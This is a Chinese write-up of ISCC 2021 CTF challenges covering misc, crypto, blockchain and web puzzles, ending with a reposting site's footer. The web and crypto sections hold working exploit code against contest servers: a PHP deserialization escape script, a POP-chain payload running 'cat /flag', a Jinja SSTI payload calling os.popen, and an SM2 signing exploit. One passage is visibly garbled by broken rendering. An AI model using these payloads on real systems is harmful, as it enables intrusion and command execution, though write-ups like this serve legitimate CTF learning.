打开发现是一个图片,binwalk分离下文件后得到一个txt文件,内容如下
24,43,13,13,12,21,43
很明显是敲击码(如果改下图片大小为521*521会看到下面有个鼓也会提示这是敲击码)
分别对应着ISCCBFS
ISCC{ISCCBFS}
Retrieve the passcode
解压后得到一个压缩包和一个名为scatter的txt文档
打开txt文档发现
1:3:1;1.25:3:1;1.5:3:1;1.75:3:1;2:3:1;2:2.75:1;2:2.5:1;2:2.25:1;2:2:1;2:1.75:1;2:1.5:1;1:2.25:1;1.25:2.25:1;1.5:2.25:1;1.75:2.25:1;1:1.5:1;1.25:1.5:1;1.5:1.5:1;1.75:1.5:1;3:3:1;3.25:3:1;3.5:3:1;3.75:3:1;4:3:1;3.25:2.25:1;3.5:2.25:1;3.75:2.25:1;4:2.25:1;4:2:1;4:1.75:1;4:1.5:1;3:1.5:1;3.25:1.5:1;3.5:1.5:1;3.75:1.5:1;3:1.75:1;3:2:1;3:2.25:1;3:2.5:1;3:2.75:1;5:3:1;5.25:3:1;5.5:3:1;5.75:3:1;6:3:1;6:2.25:1;6:2:1;6:1.75:1;6:1.5:1;5.75:1.5:1;5.5:1.5:1;5.25:1.5:1;5:1.5:1;5:2.25:1;5.25:2.25:1;5.5:2.25:1;5.75:2.25:1;5:2.5:1;5:2.75:1;7:3:1;7.25:3:1;7.5:3:1;7.75:3:1;8:3:1;8:2.75:1;8:2.5:1;8:2.25:1;8:2:1;8:1.75:1;8:1.5:1;9:3:1;9.25:3:1;9.5:3:1;9.75:3:1;10:3:1;10:2.75:1;10:2.5:1;10:2.25:1;9.75:2.25:1;9.5:2.25:1;9.25:2.25:1;9:2.25:1;9:2:1;9:1.75:1;9:1.5:1;9.25:1.5:1;9.5:1.5:1;9.75:1.5:1;10:1.5:1;11:3:1;11.25:3:1;11.5:3:1;11.75:3:1;12:3:1;12:2.75:1;12:2.5:1;12:2.25:1;12:2:1;12:1.75:1;12:1.5:1;11.75:1.5:1;11.5:1.5:1;11.25:1.5:1;11:1.5:1;11:1.75:1;11:2:1;11:2.25:1;11:2.5:1;11:2.75:1;11.25:2.25:1;11.5:2.25:1;11.75:2.25:1
三维数据还提示了scatter应该是用这些数据画图
import matplotlib.pyplot as plt
with open('scatter.txt','r') as n:
all = n.read()
a = all.split(";")
x_value = []
y_value = []
for i in a:
x_value.append(i.split(':')[0])
y_value.append(i.split(":")[1])
plt.scatter(x_value,y_value,s=20)
#显示
plt.show()
稍微改一下宽高**,得到一个这个东西,**看不出来是个啥
颠倒一下**,**得到密码365728
打开pdf
很明显是摩斯密码
解密得到
CONGRATULATIONTHEFLAGIS
CHALLENGEISCCTWOZEROTWOONE
!坑点来了,两个解密的语句都是flag的一部分,当时我也是一直试CHALLENGEISCCTWOZEROTWOONE这个,大小写什么的都不行,后来看群里也有人被这个折磨疯了问到底是啥,有个人说两个都要,我才想到第一个也是flag的一部分,只能说这脑洞纯粹为了脑洞而脑洞。。。。
海市蜃楼-1打开看着是一个docx文件,里面乱码。docx其实本质就是zip,直接改后缀为zip,然后解压
在文件里搜索flag即可(这里我用的是sublime)
美人计题目描述:美人说的话里有解题提示,但是美人的话不能全信。这句话很关键
用十六进制编辑器打开图片得到提示
大致意思是尝试AES,然后就会得到flag。还给了ISCC2021(估计是密钥)
由于我是用的linux,没法像windows那样看图片属性里的详细信息,其实这个提示在windows下右键看图片的备注也可以看到
解压后还有个word文档,是一个二维码,扫码后得到U2Fs开头的一段代码
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=
尝试AES解密,密钥是ISCC2021,成功解密但是得到的还是U2Fs开头的加密的内容,多次解密后得到flag
wait
怎么可能那么简单,太小看出题人的套路了,事实上是得到了这样一句话
y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!
就是这样毫无防备的陷入了陷阱。。。
于是冥思苦想到底是哪错了
然后我把那个docx文档改成了zip解压后用sublime打开
然后发现了两个二维码,下面这个是打开word文档看到的
下面这个是另外一个二维码
扫描后得到了又一段U2Fs开头的代码
U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE
尝试AES解密,然后提示解密失败
????????
然后尝试DES解密,密钥仍是ISCC2021,终于得到了flag
果然漂亮的女人信不得,给了个二维码、加密方式没一个是真的。。。
我的折扣是多少运行exe文件得到pass1{\u006b\u0072\u0077},Unicode编码,解码后为pass1{krw}
在压缩文件最后有一段base64编码
解出来是pass2{gcc666}
用密码krwgcc666解开压缩包
得到base编码:eW91Zm91bmRtZT8=
base64解出来是:youfoundme?
还剩下个mp3,MP3一般都是用MP3stego解密,密码是youfoundme?
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
其中LFXXK4TENFZWG33VNZ2DELRRGU======用base32解密得到Yourdiscount2.15
flag是ISCCP{Yourdiscount2.15}
这里推荐下我的一个base家族的脚本(可尝试base16、base32、base36、base58、base62、base64、base85、base91、base92),这种base解密直接丢到脚本里,看哪个能解出来
链接地址:Base家族加密解密.py
若没有积分可以评论留言邮箱私发给你
区块链第一次接触区块链的题目,在网上看了很多基础的CTF区块链的题目
当时直接搜题目中的代码搜到了几篇文章,如0x41414141 CTF区块链编写
虽然看着和这题差不多但按照他说的一直没解出来,但也提供了一些思路
然后在另一篇文章看到了类似的区块链题目,具体链接我也找不到了
打开这个链接:Etherscan
在搜索框输入合约地址0x0ed72dfd4c63dd97df8fec07e5a6bba466c6adf5
然后点击这个地方
这里点击"UTF-8"
得到flag
Hack the Victim和上题区块链类似
也是给了个合约地址:0x68D28fE315E6A344029D42915Fbc7af4261AB833
同样打开上述题目的网站,搜索这个合约地址
不过不同的是这题需要反编译
反编译后得到flag
检查一下解压后得到一个png图片,binwalk下发现里面有zlib数据,尝试分离(binwalk -e)
分离后有一个txt文档打开后发现是01字符串
联想到是01字符串画二维码
先看下字符串长度发现是841,而正好是29的平方,那应该就是二维码了
上脚本
注:我总结了一些CTF杂项脚本:https://github.com/zss192/CTF-python-script
觉得还可以的话给个star吧
from PIL import Image
MAX = 29 #宽高 841个01字符串,所以宽和高是29
pic = Image.new("RGB",(MAX, MAX))
#若是(255,255,255)、(0,0,0)需要先转换01
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("./flag.png")
得到二维码,扫码即可得到flag
小明的宠物兔下载附件发现是一个名为rabbit的图片,一个胖兔子说着我需要碰撞
用binwalk分离图片得到flag.txt和key.zip
flag.txt中内容为U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
显然需要密钥解密
打开key.zip发现其中的key.txt只有5字节大小结合那个兔子说的它需要碰撞应该是crc32碰撞
上脚本(Python2)
import binascii
dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- ={}[]"
crc = 0x3DACAC6B
for i in dic :
for j in dic:
for p in dic:
for q in dic:
for a in dic:
s=i+j+p+q+a
if crc == (binascii.crc32(s) & 0xffffffff):
print s
CRC32可由一些压缩软件看到,也可以用十六进制编辑器看到
CRC32在这个位置,但注意的是要反过来即0x3DACAC6B
由于5层循环,且未优化时间会长点,
解出来的第二个看着像是密钥,尝试下解密
结合图片名为rabbit,可能是rabbit加密,尝试下果然是,得到flag
变异的SM2密码学题目,我不擅长这方面,果断搜下关键处代码,果然搜到了原题
该题目是2020ByteCTF决赛的题目threshold
搜到的一个WP链接:https://ctf.njupt.edu.cn/545.html
需要改下脚本,把server.py和写的脚本放到同一路径下
from pwn import *
from Crypto.Util.number import *
from gmssl import func, sm2
import server
r = remote("129.211.59.129", 20001)
# context.log_level = 'debug'
pk = int(r.recvline().split(b":")[1].decode(), 16)
pks = int(r.recvline().split(b":")[1].decode(), 16)
log.info(f"pk: {pk}")
log.info(f"pks: {pks}")
backdoor = b'0'*128 + b'1'
r.sendlineafter(b"op: ", b"sign")
r.sendlineafter(b"backdoor:", backdoor)
sks = int(r.recvline(), 16)
n = 115792089210356248756420345214020892766061623724957744567843809356293439045923
# pks = (sk + 1) * sks ^ -1
sk = inverse(pks * sks, n) - 1
log.info(f"sk: {sk}")
data = b'Hello, Welcome to ISCC2021!'
e = int(data.hex(), 16)
k = 2
tsm2 = server.TSM2('0xdeadbeaf')
P1_P2 = tsm2._kg(k, server.G)
R = int(P1_P2[:64], 16) + e
s = inverse(1+sk, n) * (k - R*sk) % n
r.sendlineafter(b"op: ", b"verify")
r.sendlineafter(b"msg:", data)
r.sendlineafter(b"sign:", hex(R)[2:].zfill(64) + hex(s)[2:].zfill(64))
r.interactive()
flag如下
WEB ISCC客服冲冲冲(一)题目大致意思是要给左面的客服一号投票超过右面的投票
WP1:其实第一次做的时候直接尝试一直点左边的投票,结果还真的超过了右边的票数,直接给了flag。题目原意应该是不用手动点而是用其他方法的,不过最终也算拿到了flag
WP2:互换左右投票的ID,这样自动加的票就会加给左边的,等待计时结束即可其它WP:由于是前端控制,所以解法很多,比如用连点器,或者在 Console 里搜一下,有个 votes,直接设置,这道题可以说有非常多解题方法了,这里就不再过多阐述 这是啥查看源代码发现如图所示代码,一看就是JSFuck
直接复制到控制台回车
Web01打开便提示Why don’t you take a look at robots.txt?
那就访问robots.txt看看呗,发现Disallow: /src/code/code.txt
所以就访问http://39.96.91.106:7040/code/code.txt
发现几个判断条件,满足条件便会输出flag
if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
参数长度小于8但数值还要大于9999999,直接用科学计数法如1e9绕过即可
if (strpos ($_GET['password'], '*-*') !== FALSE)
要求参数里要含有*-*
所以最终请求参数为?password=1e9*-*
ISCC客服一号冲冲冲(二)该题目其实是Bugku的Login4 (CBC字节翻转攻击)
所以不再写WP了,留一个Je3写的WP链接:ISCC ISCC客服一号冲冲冲(二)
登录WP来自CSDN中huamanggg师傅
源码泄露www.zip
拿到代码**,发现有注册页面,随便注册一个页面,登陆后有一个update信息,**可以上传文件
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!Your Profile';
}
else {
?>
继续看源码**,得到上传路径,但是MD5加密了,**所以后缀是没有了
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
这样一来**,**传配置文件也是没用了
看到了config.php里面有flag
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
class.php里面的filter函数里面有preg_replace**,**可能漏洞出现在这里
public function filter($string) {
$escape = array('\'', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
结合这个猜测是反序列化的字符串逃逸
$photo = base64_encode(file_get_contents($profile['photo']));
先分析一下这个过滤:
implode()函数:implode(separator**,**array)
把数组里的元素以某字符连接preg_replace()函数:
preg_replace ( mixed $pattern **,** mixed $replacement **,** mixed $subject
用第三个参数匹配第一个参数的正则**,**换成第二个参数
第一个preg_replace():
把'
和\
换成_
第二个preg_replace():
匹配/select|insert|update|delete|where/
换成hacker
其他的几个都是六个字符**,和hacker一样长,**所以我们选择where来对他进行逃逸
当我们更新了信息后**,执行这个方法,**经过filter过滤后再赋值到$username里面
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
生成这样的序列化字符串
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/25a452927110e39a345a2511c57647f2";}
既然photo会被md5加密**,我们就逃逸出来,构造一个photo出来,所以 从nickname里面下手,**把photo的内容改成config.php
一个where换成hacker会多一个字符**,**";s:5:"photo";s:10:"config.php";}
这里一共有33个字符 **,**所以写33个where就刚刚好把伪造的photo给挤出去了
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}
问题又来了**,**太长了
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
绕过方法是数组绕过:
数组绕过的话**,payload还得改,**要用";}
来闭合了
格式是这样的:
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}
所以";}s:5:"photo";s:10:"config.php";}
长度为34
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
改为数组形式
成功拿到config.php的源码
一把嗦脚本:
#-*- encoding: utf-8 -*-
import requests
import re
import base64
class Fuck:
def __init__(self):
self.url = "http://39.96.91.106:7010/"
self.s = requests.session()
def register(self, username):
url = self.url + "register.php"
data = {"username": username, "password": "123123"}
self.s.post(url, data=data)
def login(self, username):
url = self.url + "index.php"
data = {"username": username, "password": "123123"}
self.s.post(url, data=data)
def update(self):
url = self.url + "update.php"
files = {"photo": ("fuck", "123123123123123123123123123123")}
data = {"phone": "11111111111", "email": "123@qq.com", "nickname[]":
'''wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'''
}
self.s.post(url, data=data, files=files)
def profile(self):
url = self.url + "profile.php"
res = self.s.get(url)
flag = re.findall(re.compile(r'(?<=base64,).*(?=" class)'), res.text)
flag = re.findall(re.compile(r'(?<=flag = \').*(?=\';)'), base64.b64decode(flag[0]).decode())
print(flag[0])
if __name__ == "__main__":
username = ""
fuck = Fuck()
fuck.register(username)
fuck.login(username)
fuck.update()
fuck.profile()
which is the true iscc
此WP还是来自CSDN中huamanggg师傅(我太菜了)
注释了一些提示
<a href="/?whatareyounongshane=src">我真的是源码?a>
<a href="/?whatareyounongshane=cmd">干点好事!a>
<a href="/?whatareyounongshane=upload">送点东西!a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!a>
源码里的ISCC_Command类里面的__destruct方法可以执行命令**,**这里应该是最终要走到的点
这样的话就追着cmd变量来看**,明显看类名知道,**会在ISCC_ResetCMD类里面对cmd进行重新赋值
这里的__destruct方法必须得满足这个才能重置命令
if($_SESSION['name'] === 'isccIsCciScc1scc') { $cmd = $this->new_cmd; }
一般来说**,想要控制$_SESSION的值,都是使用变量覆盖来做的,**这题应该也不例外
在ISCC__Upload类里面**,**有着这样的一批代码
if ($is_upload) { foreach ($_FILES as $key => $value) $GLOBALS[$key] = $value;
这个东西:$GLOBALS['key'] = value;
指的的是PHP当前页面的全局变量$key = value的引用
当
i
s
u
p
l
o
a
d
为
t
r
u
e
的
时
候
∗
∗
,
∗
∗
就
会
触
发
这
个
循
环
∗
∗
,
∗
∗
可
以
实
现
is_upload为true的时候**,**就会触发这个循环**,**可以实现
isupload为true的时候∗∗,∗∗就会触发这个循环∗∗,∗∗可以实现_SESSION的变量覆盖
而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);
会把他设置成true**,其他的类都设置成了false
所以我们就要让upload执行__destruct的时候,is_upload是true
这就要求,最早执行__destruct,**最晚执行__wakeup
所以就可以按一定顺序来构造pop链
由于有一个waf函数**,不准出现*,而$new_cmd属性是protected的,序列化了就一定要带*,**绕过的方法就是16进制
function waf($s) {
if(stripos($s**,** "*") !== FALSE)
return false; return true;
}
那我们这样构造pop链:
class ISCC_Command {
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
function __construct(){
$this->x=new ISCC_Command();
}
}
class ISCC_Upload {
function __construct(){
$this->y=new ISCC_ResetCMD();
}
}
$b = new ISCC_Upload();
$c=urlencode(serialize($b));
$c=str_replace("s","S",$c);
$c=str_replace("%2A",'a',$c);
echo $c;
payload:
O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22y%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22x%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D
最终的poc:
import requests
url="http://39.96.91.106:7050/"
files={
'iscc_file':("b",open("1.png","rb")),
"_SESSION":("isccIsCciScc1scc","123")
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files)
print(r.text)
lovely ssti
参数是xiaodouni
payload如下
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}
可参考这篇博客:ISCC SSTI
ISCC{SsT1_is_eAsy_T0_lEarn(*~*)}
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)